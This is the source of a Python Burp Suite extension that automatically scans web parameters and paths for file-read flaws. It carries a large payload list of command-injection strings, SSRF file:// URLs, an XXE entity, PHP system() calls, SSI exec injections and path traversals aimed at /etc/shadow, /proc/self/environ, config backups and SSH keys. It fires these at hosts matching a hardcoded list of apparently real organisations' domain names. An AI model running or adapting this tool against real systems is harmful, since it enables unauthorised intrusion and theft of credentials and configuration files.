#!/usr/bin/env python# -*- coding: utf-8 -*-# @Time : 2019/10/22 15:41# @Author : xiaodong# @github : https://github.com/dongfangyuxiao/# @Site : #编写这个插件测试是否存在任意文件读取和下载漏洞# @File : burp_LFI.py# @Software: PyCharmimport threadingimport refrom burp import IBurpExtenderfrom burp import IHttpListenerfrom burp import IHttpRequestResponsefrom burp import IResponseInfofrom burp import IRequestInfofrom burp import IHttpServicefrom burp import IScannerCheckfrom burp import IScannerInsertionPointProviderfrom burp import IParameterfrom burp import IScanIssuefrom urlparse import urlparsefrom java.net import URLimport urllib2import syssys.path.append('C:/Python27/Lib/site-packages')import requestsimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 屏蔽ssl警告class FuzzLFI: def __init__(self): # 任意文件读取敏感目录 self.dir = [ '&&net user', '&&cat /etc/passwd', '&net user', '&cat /etc/passwd', '&;&net user', '&;&cat /etc/passwd', '|net user', '|cat /etc/passwd', #上面是命令执行漏洞的 'file:///etc/passwd', 'dict://127.0.0.1:22', 'local_file:///etc/passwd', 'local-file:///etc/passwd', #这是ssrf的file协议和dict协议 "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + "<!DOCTYPE root [\n" + "<!ENTITY % remote SYSTEM \"file:///etc/passwd\">\n" + "%remote;]>\n" + "<root/>", #这是xxe的file协议读取 / etc / passwd "phpinfo()", "system('id')", "system('whoami')", "system('cat /etc/passwd')", #这是php代码执行 "<!--#exec cmd=\"id\" -->", "<!--#exec cmd=\"cat /etc/passwd\" -->", #这是SSI注入 '/etc/passwd', '../logs/access_log', '../logs/error_log', '/etc/shadow', '/etc/group', 'proc/self/environ', '/proc/self/environ', '/proc/self/cmdline', '/proc/self/stat', '/proc/self/status', '/proc/self/fd/0', '/var/cpanel/cpanel.config', '/../etc/passwd', '/../../etc/passwd', '/../../../etc/passwd', '/../../../../etc/passwd', '/../../../../../etc/passwd', '/../../../../../../etc/passwd', '/../../../../../../../etc/passwd', '/../../../../../../../../etc/passwd', '/../../../../../../../../../etc/passwd', '/../../../../../../../../../../etc/passwd', '/../../../../../../../../../../../etc/passwd', '/../../../../../../../../../../../../etc/passwd', '/../../../../../../../../../../../../../etc/passwd', '/../../../../../../../../../../../../../../etc/passwd', '/../../../../../../../../../../../../../../../../etc/passwd', '/../proc/self/environ', 'proc/self/environ%00', '../proc/self/fd/8', '../proc/self/fd/8%00', '/etc/security/group', '/etc/security/passwd', '/etc/security/user', '/etc/security/environ', '/etc/security/limits', '/usr/lib/security/mkuser.default', '/apache/logs/access.log', '/apache/logs/error.log', '/etc/httpd/logs/acces_log', '/etc/httpd/logs/error_log', '/var/www/logs/access_log', '/usr/local/apache/logs/access_log', '/../../apache/logs/access.log', '/../../../apache/logs/access.log', '/../../../../apache/logs/access.log', '/logs/access_log', '/logs/error_log', '/../../logs/error_log', '/../../../logs/access_log', '/../../../../logs/error_log', '/../../../../../logs/error_log', '/../../../../../../logs/error_log', '/../../../../../../../logs/error_log', '/../../logs/access_log', '/../../../../logs/access_log', '/../../../../../logs/access_log', '/../../../../../../logs/access_log', '/../../../../../../../logs/access_log', '/etc/php.ini', '/bin/php.ini', '/etc/httpd/php.ini', '/WINDOWS\php.ini', '/WINNT\php.ini', '/apache\php\php.ini', '/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini', '/usr/local/cpanel/logs', 'C:/boot.ini', 'c:/wamp/logs/access.log', '/etc/logrotate.d/proftpd', '/../etc/passwd%00', '/../../etc/passwd%00', '/../../../etc/passwd%00', '/../../../../etc/passwd%00', '/../../../../../etc/passwd%00', '/../../../../../../etc/passwd%00', '/../../../../../../../etc/passwd%00', '/../../../../../../../../etc/passwd%00', '/../../../../../../../../../etc/passwd%00', '/../../../../../../../../../../etc/passwd%00', '/../../../../../../../../../../../etc/passwd%00', '/../../../../../../../../../../../../etc/passwd%00', '/../../../../../../../../../../../../../etc/passwd%00', '/../../../../../../../../../../../../../../etc/passwd%00', '/../../../../../../../../../../../../../../../../etc/passwd%00', '/../WEB-INF/web.xml', '/../../WEB-INF/web.xml', '/../../../WEB-INF/web.xml', '/../../../../WEB-INF/web.xml', '/../../../../../WEB-INF/web.xml', '/../../../../../../WEB-INF/web.xml', '/../../../../../../..//WEB-INF/web.xml' ] self.errorFlag = re.compile(r'.*(root:|sbin|State: R (running)|Tgid:|TracerPid:|Uid:|File does not exist:|emailusersbandwidth|adminuser=|database_prefix=|nologin|DB_NAME|daemon:|DOCUMENT_ROOT=|PATH="|HTTP_USER_AGENT|HTTP_ACCEPT_ENCODING=|apache_port=|cpanel/logs/access|allow_login_autocomplete).*') self.dir2 = [ 'etc/passwd', '../logs/access_log', '../logs/error_log', 'etc/shadow', '../etc/passwd', '../../etc/passwd', '../../../etc/passwd', '../../../../etc/passwd', '../../../../../etc/passwd', '../../../../../../etc/passwd', '../../../../../../../etc/passwd', '../../../../../../../../etc/passwd', '../../../../../../../../../etc/passwd', '../../../../../../../../../../etc/passwd', '../../../../../../../../../../../etc/passwd', '../../../../../../../../../../../../etc/passwd', '../../../../../../../../../../../../../etc/passwd', '../../../../../../../../../../../../../../etc/passwd', '../../../../../../../../../../../../../../../../etc/passwd', '../../logs/access_log', '../../../../logs/access_log', '../../../../../logs/access_log', '../../../../../../logs/access_log', '../../../../../../../logs/access_log', '../etc/passwd%00', '../../etc/passwd%00', '../../../etc/passwd%00', '../../../../etc/passwd%00', '../../../../../etc/passwd%00', '../../../../../../etc/passwd%00', '../../../../../../../etc/passwd%00', '../../../../../../../../etc/passwd%00', '../../../../../../../../../etc/passwd%00', '../../../../../../../../../../etc/passwd%00', '../../../../../../../../../../../etc/passwd%00', '../../../../../../../../../../../../etc/passwd%00', '../../../../../../../../../../../../../etc/passwd%00', '../../../../../../../../../../../../../../etc/passwd%00', '../../../../../../../../../../../../../../../../etc/passwd%00', 'WEB-INF/web.xml', '../WEB-INF/web.xml', '../../WEB-INF/web.xml', '../../../WEB-INF/web.xml', '../../../WEB-INF/web.xml', '../../../../WEB-INF/web.xml', '../../../../../WEB-INF/web.xml', '../../../../../../WEB-INF/web.xml', '../../../../../../../WEB-INF/web.xml', '../../../../../../../../WEB-INF/web.xml', '../../../../../../../../../../WEB-INF/web.xml', 'config/config_ucenter.php.bak', 'config/.config_ucenter.php.swp', 'config/.config_global.php.swp', 'config/config_global.php.1', 'uc_server/data/config.inc.php.bak', 'config/config_global.php.bak', 'include/config.inc.php.tmp', # discuz敏感目录,正则匹配<?php> 'access.log', 'www.log', 'error.log', 'log.log', 'sql.log', 'errors.log', 'debug.log', 'db.log', 'install.log', 'server.log', 'sqlnet.log', 'WS_FTP.log', 'database.log', 'data.log', 'app.log', 'log.tar.gz', 'log.rar', 'log.zip', 'log.tgz', 'log.tar.bz2', 'log.7z', # 日志文件 'WEB-INF/classes', 'jPlayer/', 'jwplayer/', 'extjs/', 'swfupload/', 'boss/', 'editor/', 'ckeditor/', 'htmedit/', 'htmleditor/', 'ueditor/', 'tomcat/', 'output/', 'fck/', 'cgi-bin/', 'admin/', 'bak/', 'backup/', 'conf/', 'config/', 'debug/', 'data/', 'database/', 'deploy/', 'WEB-INF/', 'install/', 'manage/', 'manager/', 'monitor/', 'tmp/', 'temp/', 'test/', 'RPC2/', 'wp-config.php.inc', 'wp-config.inc', 'wp-config.bak', 'wp-config.php~', '.wp-config.php.swp', 'wp-config.php.bak', 'auto/config', 'configprops', 'beans', 'dump', 'env', 'env/{name}', 'health', 'info', 'metrics', 'shutdown', 'trace', 'manage/', '.svn/entries', 'code', 'phpmyadmin', 'cache/', 'compile/', 'data1/', 'entries/', 'storage/', 'upload/', 'add/', 'test.zip', '.zip', 'www.rar', 'foo/default/master/..%252F..%252F..%252F..%252Fetc%252fpasswd', '..%252F..%252F..%252F..%252Fetc%252fpasswd', '.bash_history', '.buildpath', '.history', '.mysql_history', '.project', '.ssh/authorized_keys', 'mydata/', 'cacti/', 'cms/', 'main/', 'db/', 'dede/', 'denglu/', 'edit/', 'setting/', 'sys/', 'axis2/', 'ecp/', 'reg/', 'register/', 'sign/', 'download.jsp', 'wls-wsat/CoordinatorPortType', 'console/', 'ws_utc/', 'uddiexplorer/', 'safe.cgi', 'victim.cgi', 'CFIDE/', 'administrator/', ]class BurpExtender(IBurpExtender,IScannerCheck): def registerExtenderCallbacks(self,callbacks): self._callbacks = callbacks self._helpers = callbacks.getHelpers() self._callbacks.registerScannerCheck(self) #注册扫描插件 self._callbacks.setExtensionName("LFI")#定义插件的名称 print("for lfi scan") self.fuzzLFI = FuzzLFI()#引入上面定义的类 #以上都是标准化程序 def doPassiveScan(self, baseRequestResponse): lfiTarget = [] Request = baseRequestResponse.getRequest() Response = baseRequestResponse.getResponse() analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters= self.get_request_info(Request ) ResHeaders, ResBodys, ResStatusCode,resLength= self.get_response_info(Response) print ResStatusCode httpService = baseRequestResponse.getHttpService() host, port, protocol, ishttps, = self.get_server_info(httpService) targetHost = ['saicmaxus', 'saicmotor', 'maxuscloud','rv2go','224','226','129','130','91','sxc','bihuo','100','bihuoedu','islefoundation'] url = self.get_request_url(protocol, reqHeaders) if (host.split('.')[-3] in targetHost) or (host.split('.')[-2] in targetHost):#多级或单级或类似baidu.net.cn的形势取主域名字段,比对是否在目标列表中 for parameter in reqParameters: parameterName, parameterValue, parameterType = self.get_parameter_Name_Value_Type(parameter) #print(parameterName, parameterValue,parameterType) if parameterType ==0 or parameterType ==1 :#0是post型参数1是get型,2是cookie,这里不测试cookie里面的参数 #self.saveUrl(url)#把url保存下来,用于后续联动BBS等进行扫描 #print(parameterName,parameterValue) #self.lfiTest(Request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType) t = threading.Thread(target=self.lfiTest, args=( Request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType)) lfiTarget.append(t) if (ResStatusCode !=302 and ResStatusCode!=301):#如果本身就是一个跳转的页面,我们就不管了 url = urlparse(url) url = url.scheme + '://' + url.netloc + "/".join(url.path.split('/')[0:-1])+"/" html404_status, html404_content = self.html_404_analyze(url) t2 = threading.Thread(target=self.lfiDir, args=( Request, protocol, host, port, ishttps, url, html404_status, html404_content)) lfiTarget.append(t2) for x in lfiTarget: x.start() for x in lfiTarget: x.join() #else: #pass def consolidateDuplicateIssues(self, existingIssue, newIssue): return 0 def doActiveScan(self, baseRequestResponse, insertionPoint): # report the issue return None def lfiTest(self, request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType): for paraNewValue in self.fuzzLFI.dir: paraNewValue= urllib2.quote(paraNewValue) newParameter = self._helpers.buildParameter(parameterName, paraNewValue, parameterType);#重建参数和参数值 newRequest = self._helpers.updateParameter(request, newParameter);#更新参数值 #print(newRequest) newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest);#生成http请求 newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info( newRequest)#获取请求包信息(如果存在可以获取payload) #analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters = self.get_request_info(newRequest) newResHeaders, newResBodys, newResStatusCode,resLength= self.get_response_info(newResponse)#获取返回包头、body内容、和状态信息(这个是sql注入的判断的一个依据) # 判断是否存在特征 errorInject = self.fuzzLFI.errorFlag.findall(newResBodys) #print(newReqBodys) if errorInject: # 获取请求的url newReqUrl = self.get_request_url(protocol, newReqHeaders) content = '[+]{} ->{} {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[LFI GET]',errorInject,newReqUrl, newReqHeaders, newReqBodys) print (content) self.save(content+'\t\n') print ('-' * 50) def lfiDir(self, request, protocol, host, port, ishttps, url,html404_status, html404_content): for paraNewValue in self.fuzzLFI.dir2: newRequest = self._helpers.buildHttpRequest(URL(url+paraNewValue)); # 更新url值#这个地方一定要指定URL类型的,不然重组的时候会报错 #print(url+paraNewValue) newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest); # 生成http请求 newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info( newRequest) # 获取请求包信息(如果存在可以获取payload) # analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters = self.get_request_info(newRequest) # url = self.get_request_url(protocol,reqHeaders) # print(url) newResHeaders, newResBodys, newResStatusCode, resLength = self.get_response_info( newResponse) # 获取返回包头、body内容、和状态信息(这个是sql注入的判断的一个依据) # 判断是否存在特征abs(resLength - len(html404_content))<100 errorInject = self.fuzzLFI.errorFlag.findall(newResBodys) if errorInject or (newResStatusCode == 206) or ((newResStatusCode == 200 or newResStatusCode == 302 or newResStatusCode == 301) and abs(resLength - len(html404_content))>50):#如果别人定义的有404友好页面,也会跳转到友好页面,这时返回的状态码就是200,而我们要排除这种情况 # 获取请求的url print "target found " newReqUrl = self.get_request_url(protocol, newReqHeaders) content = '[+]{} ->{} {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[DIR GET]',errorInject,newReqUrl, newReqHeaders, newReqBodys) #print(content) self.save(content + '\t\n') print('-' * 50) break def html_404_analyze(self, url): url = url+'justfortesthtmlshifoucunzai.html' headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate" } try: html_404 = requests.get(url,headers=headers,timeout=5,verify=False)#记得要设置忽略证书,不然一定会报错,取不到404页面的值 return html_404.status_code,html_404.content except Exception as e: return None,None pass # 获取响应的一些信息:响应头,响应内容,响应状态码 def get_response_info(self, response): analyzedResponse = self._helpers.analyzeResponse( response) # analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。 resHeaders = analyzedResponse.getHeaders() # getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。 resBodys = response[ analyzedResponse.getBodyOffset():].tostring() # getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。response[analyzedResponse.getBodyOffset():]获取正文内容 resStatusCode = analyzedResponse.getStatusCode() # getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。 resLength = len(resBodys) return resHeaders, resBodys, resStatusCode, resLength # 获取服务端的信息,主机地址,端口,协议 def get_server_info(self, httpService): host = httpService.getHost() port = httpService.getPort() protocol = httpService.getProtocol() ishttps = False if protocol == 'https': ishttps = True return host, port, protocol, ishttps # 获取请求的参数名、参数值、参数类型(get、post、cookie->用来构造参数时使用) def get_parameter_Name_Value_Type(self, parameter): parameterName = parameter.getName() parameterValue = parameter.getValue() parameterType = parameter.getType() return parameterName, parameterValue, parameterType # 获取请求的url def get_request_url(self, protocol, reqHeaders): link = reqHeaders[0].split(' ')[1] host = reqHeaders[1].split(' ')[1] if 'http' in link: return link else: return protocol + '://' + host + link # 保存结果 def save(self, content): print(content) f = open('burp_lfi.txt', 'at') f.writelines(content + '\n\n') f.close() def saveUrl(self, content): print(content) f = open('burp_url.txt', 'at') f.writelines(content + '\n\n') f.close() def get_request_info(self, request): analyzedRequest = self._helpers.analyzeRequest( request) # analyzeRequest用于分析HTTP请求,并获取有关它的各种关键详细信息。生成的IRequestInfo对象 reqHeaders = analyzedRequest.getHeaders() # 用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。 reqBodys = request[analyzedRequest.getBodyOffset():].tostring() # 获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。 reqMethod = analyzedRequest.getMethod() # 获取请求方法 reqParameters = analyzedRequest.getParameters() return analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters